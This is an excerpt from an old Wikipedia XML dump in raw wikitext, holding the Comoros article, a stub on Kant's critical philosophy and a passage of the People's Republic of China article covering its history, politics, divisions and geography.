{{Infobox_Country|
native_name = Union des Comores&lt;br/&gt;Udzima wa Komori&lt;br/&gt;اتحاد القمر|
common_name = Comoros |
image_flag = Flag of the Comoros.svg |
image_coat = Comoros_coat_of_arms_small.gif |
image_map = LocationComoros.png |
national_motto = Unité - Justice - Progrès&lt;br/&gt;([[French language|French]], &quot;Unity, justice, progress&quot;) |
national_anthem = [[Udzima wa ya Masiwa]] |
official_languages = [[Comorian language|Shikomor]], [[Arabic language|Arabic]], [[French language|French]] |
capital = [[Moroni, Comoros|Moroni]] |latd=11|latm=41|latNS=S|longd=43|longm=16|longEW=E|
largest_city = [[Moroni, Comoros|Moroni]] |
government_type= [[Federal republic]]|
leader_titles = [[President of Comoros|President]] | 
leader_names =  Col. [[Azali Assoumani]] |
area_rank = 167th |
area_magnitude = 1_E9 |
area= 2,170 |
areami² = 838 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
percent_water = Negligible |
population_estimate = 596,202 |
population_estimate_year = 2002 |
population_estimate_rank = 158th |
population_census= |
population_census_year=  |
population_density = 275 |
population_densitymi² = 712 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank = 275 |
GDP_PPP_year = 2004 |
GDP_PPP = $1,049,000,000 |
GDP_PPP_rank = 171st |
GDP_PPP_per_capita = $1,660 |
GDP_PPP_per_capita_rank = 156th |
HDI_year = 2003 |
HDI = 0.547 |
HDI_rank = 132nd |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Independence]] |
established_events = Declared&lt;br/&gt;Recognised |
established_dates = From [[France]]&lt;br/&gt;[[1975]]&lt;br/&gt;[[1975]] |
currency = [[Comorian franc]] |
currency_code = KMF |
time_zone=   |
utc_offset= +3 |
time_zone_DST= observed? |
utc_offset_DST=  ? |
cctld= [[.km]] |
calling_code = 269 |
footnotes =
}}

== History ==
''Main article: [[History of Comoros]]''

Over the centuries, the islands of Comoros were invaded by a succession of diverse groups from the coast of [[Africa]], the [[Persian Gulf]], [[Indonesia]], and [[Madagascar]]. [[Portugal|Portuguese]] explorers visited the [[archipelago]] in [[1505]].

Between [[1841]] and [[1912]], [[France]] established [[Colonialism|colonial]] rule and placed the islands under the administration of the governor general of Madagascar. Later, French settlers, French-owned companies, and wealthy Arab merchants established a plantation-based economy that now uses about one-third of the land for export crops. Agreement was reached with France in [[1973]] for Comoros to become independent in 1978. On [[July 6]], [[1975]], however, the Comorian parliament passed a resolution declaring independence. The deputies of [[Mayotte]], which stayed under French control, abstained. In two referendums, in December [[1974]] and February [[1976]], the population of Mayotte voted against independence from France (by 63.8% and 99.4% respectively).

In [[1997]], the islands of [[Anjouan]] and [[Moheli]] declared their independence from Comoros. A subsequent attempt by the government to reestablish control over the rebellious islands by force failed, and subsequently the [[African Union]], under the auspices of President Mbeki of South Africa, has brokered negotiations to effect a reconciliation.  This involves a system of governmental autonomy for each island, plus a Union government for the three islands.  A &quot;Loi des compétences&quot; (a law that defines the responsibilities of each governmental body) was passed in early 2005 and is in the process of implementation.

== Politics ==
''Main article: [[Politics of Comoros]]''

The political situation in Comoros has been extremely fluid since the country's independence in [[1975]], subject to the volatility of coups and political insurrection. 

Colonel [[Azali Assoumani]] seized power in a bloodless coup in April [[1999]], overthrowing Interim President [[Tadjidine Ben Said Massounde]], who himself had held the office since the strange death of democratically elected President [[Mohamed Taki Abdoulkarim]] in November, [[1998]]. 

In May [[1999]], Azali decreed a constitution that gave him both executive and legislative powers. Bowing somewhat to international criticism, Azali appointed a civilian Prime Minister, [[Bainrifi Tarmidi]], in December [[1999]]; however, Azali retained the mantle of Head of State and army Commander. In December [[2000]], Azali named a new civilian Prime Minister, [[Hamada Madi]], and formed a new civilian Cabinet.

On [[February 17]], [[2000]], representatives of the government, the Anjouan separatists, the political opposition, and civil society organizations signed a &quot;Framework Accord for Reconciliation in Comoros,&quot; brokered by the [[Organization for African Unity]] (OAU). The accord called to develop a &quot;New Comorian Entity&quot; with a new constitution. 

The constitution gives Moheli, Anjouan and Grande Comore the right to govern most of their own affairs with their own presidents. In addition, a federal president and parliament sit on the largest island, Grande Comore. This federal presidency is rotated between the islands' presidents. [[Comoros legislative election, 2004|General elections]] were held in [[2004]], in which federal president Azali suffered a major setback by only winning 6 of the 18 seats in the [[Assembly of the Union of the Comoros|National assembly]], the other going to the supporters of the presidents of the semi-autonomous islands. The Comoros are also part of the [[Indian Ocean Commission]], along with all of the other islands in the Western Indian Ocean

== Geography ==
[[Image:Cn-map.png|framed|Map of Comoros]]
''Main article: [[Geography of Comoros]]''

Comoros is formed by three of the four main islands in the Comoros Archipelago; the fourth is the French territory of [[Mayotte]]. The archipelago is situated in the Indian Ocean, between the African coast and [[Madagascar]]. The interior of the volcanic islands varies from steep mountains to low hills. Le [[Karthala]] (2,316&amp;nbsp;[[metre|m]] or 7598&amp;nbsp;[[foot (unit of length)|ft]]) on Grand Comore is an active [[volcano]].

== Economy ==
''Main article: [[Economy of Comoros]]''

Comoros is one of the poorest countries in the world. [[Agriculture]], including [[fishing]], [[hunting]], and [[forestry]], is the leading sector of the economy.

Comoros has inadequate transportation system, a young and rapidly increasing population, and few natural resources. The low educational level of the labor force contributes to a subsistence level of economic activity, high [[unemployment]], and a heavy dependence on foreign grants and technical assistance. Agriculture contributes 40% to [[Gross domestic product|GDP]], employs 80% of the labor force, and provides most of the exports. 

The government is struggling to upgrade education and technical training, to privatize commercial and industrial enterprises, to improve health services, to diversify exports, to promote [[tourism]], and to reduce the high population growth rate.

== Demographics ==
''Main article: [[Demographics of Comoros]]''

The Comorians inhabiting Grande Comore, Anjouan, and Moheli (86% of the population) share African-Arab origins. [[Islam]] is the dominant religion. Although Arab culture is firmly established throughout the archipelago, a substantial minority of the citizens of Mayotte (the Mahorais) are [[Catholic]] and have been strongly influenced by French culture. 

The most common language is [[Shikomor]], a [[Swahili]] dialect. [[French language|French]], [[Arabic language|Arabic]] and [[Malagasy]] also are spoken. About 57% of the population is literate in the [[Latin alphabet]], more with the [[Arabic alphabet]].

== Culture ==
''Main article: [[Culture of Comoros]]''

''See also:''
*[[Comorian language]]
*[[Holidays in Comoros]]
*[[Islam in Comoros]] 
*[[Music of Comoros]]

== Miscellaneous topics ==
*[[Communications in Comoros]]
*[[Foreign relations of Comoros ]]
*[[List of Presidents of Comoros]]
*[[Military of Comoros]]
*[[Transportation in Comoros]]

== Further reading ==

* ''The Comoros Islands: Struggle Against Dependency in the Indian Ocean'' Malyn Newitt
* ''Historical Dictionary of the Comoro Islands'' Martin Ottenheimer
* ''Lonely Planet World Guide: Madagascar and Comoros'' Gemma Pitcher and Patricia C. Wright

== External links ==
{{sisterlinks|Comoros}}

===News===
*[http://allafrica.com/comoros/ allAfrica - Comoros] news headline links
*[http://www.comores-online.com/al-watwan/ Al-Watwan] weekly newspaper

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1070727.stm BBC News - ''Country Profile: Comores'']
*[http://www.cia.gov/cia/publications/factbook/geos/cn.html CIA World Factbook - ''Comoros'']
* [http://www.state.gov/p/af/ci/cn/ US State Department - ''Comoros''] includes Background Notes, Country Study and major reports

===Directories===
*[http://www.al-bab.com/arab/countries/comoros.htm al-Bab - ''Comoros''] directory category
*[http://www.columbia.edu/cu/lweb/indiv/africa/cuvl/Comoros.html Columbia University Libraries - ''Angola''] directory category of the WWW-VL
*[http://www.comores-online.com/accueilgb.htm MweziNet] directory and encyclopedia
*[http://dmoz.org/Regional/Africa/Comoros/ Open Directory Project - ''Comoros'']
*[http://www-sul.stanford.edu/depts/ssrg/africa/comoros.html Stanford University - Africa South of the Sahara: ''Comoros''] directory category
*[http://www.afrika.no/index/Countries/Comoros/ The Index on Africa - ''Comoros''] directory category
*[http://dir.yahoo.com/Regional/Countries/Comoros/ Yahoo! - ''Comoros''] directory category

===Tourism===
*{{wikitravel}}
*[http://www.anytravels.com/africa/comoros/ Travel Overview of Comoros]

===Other===
*[http://www.comores-online.com/accueilgb.htm Comores Online] portal
*[http://www.chez.com/prc/ Republican party of Comoros]
*[http://www.irinnews.org/frontpage.asp?SelectRegion=Southern_Africa&amp;SelectCountry=Comoros Report from IRIN (UN office for the coordination of Humanitarian Affairs)]
*[http://www.ksu.edu/sasw/comoros/comoros.html The islands of Comoros]
*[http://www.comoros-online.com www.comoros-online.com - First information website on Comoros - Association MWEZINET &quot;La passion des Comores&quot;]

{{Africa}}

[[Category:African Union member states]]
[[Category:Arab League]]
[[Category:Comoros|*]]
[[Category:Comoros archipelago]]
[[Category:Island nations]]

[[af:Comore-eilande]]
[[ar:جزر القمر]]
[[zh-min-nan:Komor]]
[[bn:কোমোরোস]]
[[bs:Komori]]
[[ca:Comores]]
[[cs:Komory]]
[[da:Comorerne]]
[[de:Komoren]]
[[et:Komoorid]]
[[es:Comoras]]
[[eo:Komoroj]]
[[fa:کومور]]
[[fr:Union des Comores]]
[[ko:코모로]]
[[id:Komoro]]
[[ia:Comoras]]
[[is:Kómoreyjar]]
[[it:Comore]]
[[he:קומורו]]
[[lv:Komoru salas]]
[[lt:Komorai]]
[[li:Comore]]
[[ms:Comoros]]
[[na:Comoros]]
[[nl:Comoren]]
[[nds:Komoren]]
[[ja:コモロ]]
[[no:Komorene]]
[[nn:Komorane]]
[[pl:Komory]]
[[pt:Comores]]
[[ru:Коморские острова]]
[[sa:कोमोरोस]]
[[sq:Komoros]]
[[sk:Komory]]
[[sl:Komori]]
[[fi:Komorit]]
[[sv:Komorerna]]
[[sw:Komoro]]
[[sr:Комори]]
[[tl:Comoros]]
[[uk:Коморскі острови]]
[[zh:葛摩]]</text>
    </revision>
  </page>
  <page>
    <title>Critical philosophy</title>
    <id>5404</id>
    <revision>
      <id>28358145</id>
      <timestamp>2005-11-15T02:50:30Z</timestamp>
      <contributor>
        <ip>131.247.229.77</ip>
      </contributor>
      <text xml:space="preserve">Attributed to [[Immanuel Kant]], the '''critical philosophy''' movement sees the primary task of [[philosophy]] as [[criticism]] rather than justification.  Philosophers, according to this view, should not attempt to prove theories, but rather should offer all theories--including those about philosophy itself--to critical review, and measure their success by how well they withstand criticism.

&quot;Critical philosophy&quot; is also used as just another name for Kant's philosophy itself.Kant said that the problem was not what was out there, but the question of what experience itself was. We must first determine how human reason works so that we can apply it to sense experience and metaphysical objects.

{{Philo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>People's Republic of China</title>
    <id>5405</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42161127</id>
      <timestamp>2006-03-04T05:39:37Z</timestamp>
      <contributor>
        <ip>69.181.75.84</ip>
      </contributor>
      <comment>/* Economy */</comment>
      <text xml:space="preserve">{{featured article}}
{{dablink|PRC redirects here. For other uses, see [[PRC (disambiguation)]]. For the historical and cultural entity, see [[China]].}}
{{Infobox Country|
native_name = 中华人民共和国&lt;br&gt;Zhōnghuá Rénmín Gònghéguó&lt;br&gt;People's Republic of China|
common_name = People's Republic of China |
image_flag = Flag of the People's Republic of China.svg |
image_coat = PRC coa.png|20px |
national_motto = |
image_map = LocationPRChina.png |
national_anthem = ''[[March of the Volunteers]]'' |
official_languages = [[Chinese language|Chinese]]&lt;sup&gt;1&lt;/sup&gt;|
capital = [[Beijing]] |latd=36|latm=55|latNS=N|longd=116|longm=23|longEW=E|
government_type =  [[Communist state|Communist]] [[Single-party state|one-party state]]&lt;sup&gt;2&lt;/sup&gt; |
leader_titles = [[President of the People's Republic of China|President]]&lt;br&gt;[[Premier of the People's Republic of China|Premier]] |
leader_names = [[Hu Jintao]]&lt;br&gt;[[Wen Jiabao]]|
largest_city = [[Shanghai]] |
area = 9,596,960&lt;sup&gt;2&lt;/sup&gt;  |
areami² = 3,704,427 &lt;sup&gt;2&lt;/sup&gt;  | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
area_rank = 4th |
area_magnitude = 1 E12|
percent_water = 2.8%&lt;sup&gt;2&lt;/sup&gt;  |
population_estimate = 1,306,313,813&lt;sup&gt;2&lt;/sup&gt; |
population_estimate_year = 2005 |
population_estimate_rank = 1st |
population_census = N/A |
population_census_year = 2000|
population_density = 140&lt;sup&gt;2&lt;/sup&gt;  |
population_densitymi² = 363&lt;sup&gt;2&lt;/sup&gt;  | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank = 77th |
GDP_PPP_year = 2005 |
GDP_PPP = $8.091 trillion&lt;sup&gt;2&lt;/sup&gt;  |
GDP_PPP_rank = 2nd |
GDP_PPP_per_capita = $5642&lt;sup&gt;2&lt;/sup&gt;  |
GDP_PPP_per_capita_rank = 98th |
HDI_year = 2003 |
HDI = 0.755 |
HDI_rank = 85th |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Chinese Civil War|Establishment]] |
established_events = &amp;nbsp;- Declared |
established_dates = &lt;br&gt; [[October 1]], [[1949]] |
currency = [[Renminbi|Renminbi Yuan]] (RMB¥)&lt;sup&gt;2&lt;/sup&gt;  |
currency_code = CNY |
time_zone = |
utc_offset = +8|
time_zone_DST = |
utc_offset_DST = +9, does not observe |
cctld = [[.cn]]&lt;sup&gt;2&lt;/sup&gt;  |
calling_code = 86&lt;sup&gt;2&lt;/sup&gt;  |
footnotes=&lt;sup&gt;1&lt;/sup&gt;[[Standard Mandarin]] (Putonghua) is the official spoken standard, except in [[Hong Kong]] and [[Macau]] where [[Standard Cantonese|Cantonese]] is used more often. Chinese is co-official with [[English language|English]] in Hong Kong and [[Portuguese language|Portuguese]] in Macau, respectively. In minority areas, Chinese is co-official to various extents with minority languages such as [[Uyghur language|Uyghur]], [[Mongolian language|Mongol]], and [[Tibetan language|Tibetan]].&lt;br&gt;&lt;sup&gt;2&lt;/sup&gt;Information for mainland China only. [[Hong Kong]], [[Macau]], and [[Taiwan]] are excluded.}}

{{portal}}
The '''People's Republic of China''' ('''PRC'''; [[Simplified Chinese character|Simplified Chinese]]: 中华人民共和国, [[Traditional Chinese character|Traditional Chinese]]: 中華人民共和國; [[pinyin]]: Zhōnghuá Rénmín Gònghéguó {{Audio|Zh-Zhonghua renmin gongheguo.ogg|listen}}), or '''[[China]]''', is a [[state]] in [[East Asia]]. The PRC is home to over 1.3 billion people, which makes it the largest country on earth in terms of population.

Since its founding in [[1949]], the PRC has been led by the [[Communist Party of China]] (CPC) under a [[Single-party state|one-party]] system. Though [[Constitution of the PRC|constitutionally]] a [[socialist state]], the PRC has extensively [[privatization|privatized]] its economy in the past three decades under &quot;[[Socialism with Chinese characteristics]].&quot; Nonetheless, it retains significant political control over the remaining [[state-owned enterprise]]s and the [[bank]]ing sector. These [[Chinese economic reform|economic reforms]] have succeeded in creating jobs and spurring economic growth, lifting much of the populace from poverty and leading to a growing Chinese [[Geopolitics|global]] influence in [[economics|economic]], [[Politics of China|political]], [[military]], [[science|scientific]], [[technology|technological]], and [[Culture of China|cultural]] affairs. 

In an ongoing dispute, the PRC [[political status of Taiwan|claims sovereignty over Taiwan]] and some neighboring islands, whose control was never relinquished by the [[Republic of China]]. The PRC asserts the Republic of China to be an illegitimate and supplanted entity and administratively categorizes [[Taiwan]] as the 23rd province of the PRC. The term &quot;[[mainland China]]&quot; is sometimes used to denote the area under the PRC's rule, usually excluding the two [[Special Administrative Region]]s, [[Hong Kong]] and [[Macau]]. 

==Terminology==
The name '''New China''' has been frequently applied to China as a positive term by the Communist Party as a political and social term contrasting China before 1949 (the establishment of the PRC) and the new socialist state, and sometimes used by writers outside mainland China. The PRC has also been known (mainly in the [[Cold War]] era), as '''Communist China''' and somewhat disparagingly as '''Red China''', to distinguish it from the ROC on Taiwan (once known as Nationalist China or Free China). In some contexts, particularly in economics, trade, and sporting, &quot;China&quot; is often used to refer to mainland China (Hong Kong and Macau excluded).

==History==
{{main articles|[[History of China]], [[History of the People's Republic of China]], and [[Timeline of Chinese history]]}}
After [[World War II]], the [[Chinese Civil War]] between the [[Communist Party of China]] and the [[Kuomintang]] ended in 1949 with the Communists in control of [[mainland China]] and the Kuomintang in control of [[Taiwan]] and some outlying islands of [[Fujian]]. On [[October 1]], [[1949]], [[Mao Zedong]] emphatically declared the People's Republic of China, establishing a [[communist state]], and proclaiming &quot;the Chinese people have stood up.&quot;[[Image:China, Mao (2).jpg|thumb|right|230px|[[Mao Zedong]] declares the founding of the PRC in 1949]] &lt;!-- This picture should really go in the history section but the infobox is preventing it from doing so --&gt;

Supporters of the Maoist Era claim that under Mao, China's unity and [[sovereignty]] was assured for the first time in a century, and there was development of [[infrastructure]], [[industry]], [[healthcare]], and [[education]], which raised [[standard of living]] for the average Chinese. They also believe that [[Political_campaign|campaign]]s such as the [[Great Leap Forward]] and the [[Cultural Revolution]] were essential in jumpstarting China's development and purifying its culture. More nuanced arguments claim that though the consequences of both these campaigns were economically and humanly disastrous, they left behind a &quot;clean slate&quot; on which later economic progress could be built. Supporters may also doubt statistics or accounts given for death tolls or other damages incurred by Mao's campaigns. Some, including Mao at the time, attributed the high death toll to [[natural disaster]]s; still others doubt this figure entirely, or claim that many more people died due to famine or other consequences of political chaos during the rule of [[Chiang Kai-Shek]].

Critics of Mao's [[regime]] assert that Mao's administration imposed strict controls over everyday life, and believe that campaigns such as the [[Great Leap Forward]] and [[Cultural Revolution]] contributed to or caused millions of deaths, incurred severe economic costs, and damaged China's [[cultural heritage]]. The [[Great Leap Forward]] in particular preceded a massive [[famine]] in China which, according to numbers guessed by credible Western and Eastern [http://users.erols.com/mwhite28/warstat1.htm sources], 20–30 million people died; most Western and many Chinese analysts attribute this to the [[Great Leap Forward]].

Following the dramatic economic failures of the early 1960s, Mao stepped down from his position as chairman of the People's Republic. The National People's Congress elected [[Liu Shaoqi]] as Mao's successor. Mao remained head of the Party but was removed from day to day management of economic affairs which came under the control of a more moderate leadership  under the dominant influence of [[Liu Shaoqi]], [[Deng Xiaoping]] and others who initiated economic reforms.

In 1966, Mao launched the [[Cultural Revolution]], which is viewed by his opponents (including both Western analysts and many Chinese people who were youth at the time) as a strike back at his rivals by mobilizing the youth of the country in support of his thought and purging the moderate leadership, but was viewed by his supporters as an experiment in direct [[democracy]] and a genuine attempt at purging Chinese society of [[political corruption|corruption]] and other negative influences. Mao's [[personality cult]] at the time and the relatively [[hierarchical|hierarchy]], top-down structure of the &quot;[[Red Guard]]&quot; tend to contradict this interpretation, however, as did the economic reconstruction needed in China after these events. Extreme disorder followed but gradually under the leadership of [[Zhou Enlai]] moderate forces regained influence.

After Mao's death, [[Deng Xiaoping]], seen as the leader of the economic reformists, succeeded in winning the power struggle, and Mao's widow, [[Jiang Qing]] and her associates, the [[Gang of Four]], who had assumed control of the country, were arrested and put on trial. Since then, the government has gradually and greatly loosened governmental control over people's personal lives, and began transitioning China's planned economy into a [[mixed economy]]. Supporters of the economic reforms point to the rapid development of the [[consumer]] and [[export]] sectors of the economy, the creation of an urban [[middle class]] that now constitutes 15% of the population, higher living standards (which is shown via dramatic increases in [[GDP per capita]], consumer spending, [[life expectancy]], [[literacy rate]], and total grain output) and a much wider range of personal rights and freedoms for average Chinese as evidence of the success of the reforms. Critics of the economic reforms claim that the reforms have caused [[wealth disparity]], [[environmental pollution]], rampant [[Political corruption|corruption]], widespread [[unemployment]] associated with layoffs at inefficient [[state-owned enterprise]]s, and has introduced often unwelcome cultural influences. Consequently they believe that China's culture has been corrupted, the poor have been reduced to a hopeless abject underclass, and that the social stability is threatened.  They are also of the opinion that various political reforms, such as moves towards popular elections, have been unfairly nipped in the bud.  Regardless of either view, today, the public perception of Mao has improved dramatically, and images of Mao and Mao related objects have become fashionable. [[Image:Shanghai_-_Nanjing_Road.jpeg|thumb|250px|[[Nanjing Road, Shanghai|Nanjing Road]] (&amp;#21335;&amp;#20140;&amp;#36335;), one of the world's busiest shopping streets.]]&lt;!-- something to represent the transformation to capitalism --&gt;

Despite these concessions to capitalism, the Communist Party of China remains in control and has maintained policies against groups which it feels are threats, such as [[Falun Gong]] and the separatist movement in [[Tibet]]. Supporters of these policies claim that these policies safeguard stability in a society that is torn apart by class differences and rivalries, has no tradition of civil participation, and limited rule of law. Opponents of these policies claim that these policies severely violate norms of [[human rights]] that the international community recognizes, and further claim that this results in a [[police state]], which creates an atmosphere of fear and ignorance.

In 1989, the death of pro-reform official [[Hu Yaobang]] led to the [[Tiananmen Square protests of 1989]], during which students and others held protests in Beijing's [[Tiananmen Square]] and elsewhere to campaign for democratic reform and freedom. The protests ended on [[June 3]] - [[June 4]] when [[People's Liberation Army|PLA]] troops entered the square, killing hundreds. The event brought worldwide condemnation and sanctions against the PRC government. The PRC government itself has since remained relatively silent on the issue, though it has also defended it by saying that it was necessary for the continued stability of the country.

The People's Republic of China adopted its current [[constitution of the People's Republic of China|constitution]] on [[December 4]], [[1982]].

==Politics==
[[Image:National People's Congress.JPG|thumb|250px|The [[Great Hall of the People]], where the [[National People's Congress]] (NPC), highest legistlative body, of China convenes.]]
{{main|Politics of the People's Republic of China}}&lt;!-- This section is on the politics of [[Mainland China]] --&gt;
In the [[technical terminology]] of [[political science]] the PRC was a [[communist state]] for much of the 20th century, and is still considered a communist [[state]] by many, though not all [[List of political scientists|political scientist]]s agree. Attempts to characterize the nature of China's political [[structure]] into a single, simple category are typically seen as lacking sufficient depth to be satisfactory. A major reason for this is China's political history:  for over two thousand years, prior to 1949, the state had been ruled by some form of [[Chinese Empire|centralized imperial monarchy]] with strong [[Confucian]] influences, which have left significant traces on subsequent political and social structures. This was followed by a chaotic succession of largely [[authoritarianism|authoritarian]] [[Kuomintang|Chinese Nationalist]] governments as well as [[warlord]]-[[occupation|held]] administration since the first [[Chinese Revolution]] of 1912.

The PRC [[regime]] has variously been described as [[authoritarianism|authoritarian]], [[communism|communist]], [[socialism|socialist]] and various combinations of those terms. It has also been described as a [[Communist state|communist government]]. This may be called [[State capitalism|state capitalist]] by more left-leaning communists. It appears China is slowly becoming [[Capitalism|capitalist]] in its economic system. China recently released an official statement on its political structure, upholding the notion that the state should be ruled by democratic means. Personal freedoms have grown considerably since the early days of Communist rule. However, heavy restrictions remain in some areas, most notably [[Internet censorship in mainland China|internet censorship]] and [[freedom of the press]].

The government of the PRC is controlled by the [[Communist Party of China|China Communist Party]] (CPC). There are some other political parties in PRC, called &quot;democratic parties&quot;. However they are very closely associated with the CPC.  These minor parties participate in the [[Chinese People's Political Consultative Conference]] but mostly serve to endorse CPC policies. While there have been some moves toward political liberalization, in that open [[contested election]]s are now held at the village level and legislatures have shown some assertiveness from time to time, the party retains effective control over governmental appointments. While the state uses authoritarian methods to deal with challenges to its rule, it simultaneously attempts to reduce dissent by improving the economy, allowing expression of personal grievances, and giving lenient treatment to persons expressing dissent whom the regime does not believe are organizers.

[[Censorship]] of political speech and information is openly and routinely used to protect what the government claims to be national security interests, including [[Internet censorship in China|internet censorship]]. The government has a policy of suppressing any protests and organizations that it considers a threat to its power, as was the case after the [[Tiananmen Square protests of 1989|Tiananmen Square protests]]. However, there are limits to the repression that the Party is willing or able to achieve. The media have become increasingly active in publicizing social problems and exposing corruption and inefficiency at lower levels of government, although recently the PRC has tended to increase crackdowns on reporters. The Party has also been rather unsuccessful at controlling information, and in some cases has had to change policies in response to public outrage. Although organized opposition against the Party is not tolerated, demonstrations over local issues are frequent and increasingly tolerated.

The support that the Communist Party of China has among the Chinese population is unclear, as there are no national elections, and private conversations and anecdotal information often reveal conflicting views. Many in China appear to appreciate the role that the government plays in maintaining social stability, which has allowed the economy to grow without interruption. Political concerns in China include the growing gap between rich and poor in the PRC, and the growing discontent with widespread corruption within the leadership and officials.

{{seealso|Chinese nationalism|Propaganda in the People's Republic of China|Imperialism in Asia|Politics of Taiwan|Hong_Kong#Politics|Macau#Politics}}

===Human rights debates===
''Main article [[Human rights in the People's Republic of China]]''

The PRC is sometimes under criticism from Western governments and [[NGO]]s concerning allegations of lengthy [[detention without trial]], forced confessions, [[torture]], and [[mistreatment of prisoners]] as well as allegations of restrictions on freedoms of [[freedom of speech|speech]], [[freedom of the press|the press]], [[freedom of assembly|assembly]], [[freedom of association|association]], [[freedom of religion|religion]], and [[workers' rights]], as being violations of their definition of human rights. They argue these alleged violations stem from the PRC government's intolerance of dissent and the inadequacy of legal safeguards for individual political rights.

The PRC government argues that the notion of human rights should include economic standards of living and measures of health and economic prosperity. It views the rise in the standard of living of the Chinese people as an indicator of improvement of the human rights situation.

==Political Divisions==
{{main|Political divisions of China}}
The People's Republic of China has administrative control over 22 provinces (省); the government of the People's Republic of China considers [[Taiwan Province|Táiwān]] (台湾), which is actually controlled by the [[Republic of China]], to be its 23rd province. (See [[Political status of Taiwan]] for more information.) Apart from provinces there are 5 autonomous regions (自治区) containing concentrations of several minorities; 4 municipalities (直辖市) for China's largest cities and 2 [[Special Administrative Region]]s (SAR) (特别行政区), which are governed by the PRC but enjoy considerable autonomy.

The 22 provinces, 5 autonomous regions and 4 municipalities can be collectively referred to as &quot;[[mainland China]]&quot;, a term which usually excludes Hong Kong, Macao, and Taiwan. 
[[Image:China administrative.png|300px|thumb|Province-level divisions of the People's Republic of China]]
The following are a list of administrative divisions of areas under the control of the People's Republic of China.

{{col-begin|width=}}
{{col-break}}
'''Provinces'''（省）
*[[Anhui|Ānhuī]] (安徽)
*[[Fujian|Fújiàn]] (福建)
*[[Gansu|Gānsù]] (甘肃)
*[[Guangdong|Guǎngdōng]] (广东)
*[[Guizhou|Guìzhōu]] (贵州)
*[[Hainan|Hǎinán]] (海南)
*[[Hebei|Héběi]] (河北)
*[[Heilongjiang|Hēilóngjiāng]] (黑龙江)
*[[Henan|Hénán]] (河南)
*[[Hubei|Húběi]] (湖北)
*[[Hunan|Húnán]] (湖南)
*[[Jiangsu|Jiāngsū]] (江苏)
*[[Jiangxi|Jiāngxī]] (江西)
*[[Jilin|Jílín]] (吉林)
*[[Liaoning|Liáoníng]] (辽宁)
*[[Qinghai|Qīnghǎi]] (青海)
*[[Shaanxi|Shaanxi (Shǎnxī)]] (陕西)
*[[Shandong|Shāndōng]] (山东)
*[[Shanxi|Shānxī]] (山西)
*[[Sichuan|Sìchuān]] (四川)
*[[Yunnan|Yúnnán]] (云南)
*[[Zhejiang|Zhèjiāng]] (浙江)

{{col-break}}
'''Autonomous regions'''（自治区）
*[[Guangxi|Guǎngxī]] (广西壮族自治区)
*[[Inner Mongolia|Inner Mongolia (Nèi Měnggǔ)]] (内蒙古自治区)
*[[Ningxia|Níngxià]] (宁夏回族自治区)
*[[Xinjiang|Xīnjiāng]] (新疆维吾尔自治区)
*[[Tibet Autonomous Region|Tibet (Xīzàng)]] (西藏自治区)
&lt;br /&gt;
'''Municipalities'''（直辖市）
*[[Beijing|Běijīng]] (北京市)
*[[Chongqing|Chóngqìng]] (重庆市)
*[[Shanghai|Shànghǎi]] (上海市)
*[[Tianjin|Tiānjīn]] (天津市)
&lt;br /&gt;
'''Special Administrative Regions'''（特别行政区）
*[[Hong Kong|Hong Kong (Xiānggǎng)]] (香港特别行政区)
*[[Macau|Macau (Àomén)]] (澳门特别行政区)
&lt;br /&gt;
'''Claimed by the PRC, but governed by [[Republic of China]]'''
*[[Taiwan Province|Táiwān]] (台湾) ([[Political status of Taiwan|disputed]])
{{col-end}}

==Geography and climate==
[[Image:ChinaGeography.png|left|The Geography of China|thumb|300px|The Geography of China]]
[[Image:Baitou_Mountain_Tianchi.jpg|thumb|right|120px|[[Tianchi]] in [[Baitou Mountain]].]]
[[Image:Hangzhou_mountains.jpg|thumb|right|120px|Landscape in [[Hangzhou]].]]
[[Image:Saihanba5.jpg|thumb|right|120px|[[Saihanba National Park]] in [[Hebei]].]]

{{main|Geography of China}}
The PRC is the largest [[country]] in [[area]] in [[East Asia]] (excluding Russia) and the [http://www.fco.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1007029394365&amp;a=KCountryProfile&amp;aid=1018965313021 third largest] in the world by land-and-sea area. (However, the [[United States of America]] disputes this and instead believes itself to be the [http://www.cia.gov/cia/publications/factbook/rankorder/2147rank.html third largest].) It borders 14 nations (counted clockwise from south): [[Vietnam]], [[Laos]], [[Myanmar]] (commonly known as Burma), [[India]], [[Bhutan]], [[Nepal]], [[Pakistan]]{{ref|disp}}, [[Afghanistan]], [[Tajikistan]], [[Kyrgyzstan]], [[Kazakhstan]], [[Russia]], [[Mongolia]] and [[North Korea]].

The PRC contains a large variety of landscapes. In the east, along the shores of the [[Yellow Sea]] and the [[East China Sea]], are found extensive and densely populated [[alluvium|alluvial plains]]; the [[shore]] of the [[South China Sea]] is more mountainous and southern China is dominated by hill country and lower mountain ranges. In the central-east are found the [[river delta|delta]]s of China's two major rivers, the [[Huang He]] and [[Yangtze River]] (Chang Jiang). Other major rivers include the [[Xijiang River]], [[Mekong]], [[Brahmaputra]] and [[Amur]]. 

To the west, major mountain ranges, notably the [[Himalaya]] with China's highest point [[Mount Everest]], and high plateaus feature among the more arid landscape of [[desert]]s such as the [[Taklamakan]] and the [[Gobi Desert]]. 

Due to a prolonged [[drought]] and poor agricultural practices [[dust storm|dust storms]] have become usual in the spring in China. According to China's Environmental Protection Agency, the Gobi Desert has been expanding &quot;like a tsunami&quot; and is a major source of dust storms which affect [[Mainland China]] and other parts of northeast Asia such as [[Taiwan]], [[Korea]] and [[Japan]].  Dust from the northern plains has been tracked to the [[West Coast of the United States|West Coast]] of the [[United States]].  River management (human waste dumping, factory pollution, and water extraction for irrigation and drinking) and dust erosion are problems affecting other countries that have become recent important concerns for relations between China and its neighboring countries.

==Foreign relations==
{{main|Foreign relations of the People's Republic of China}}
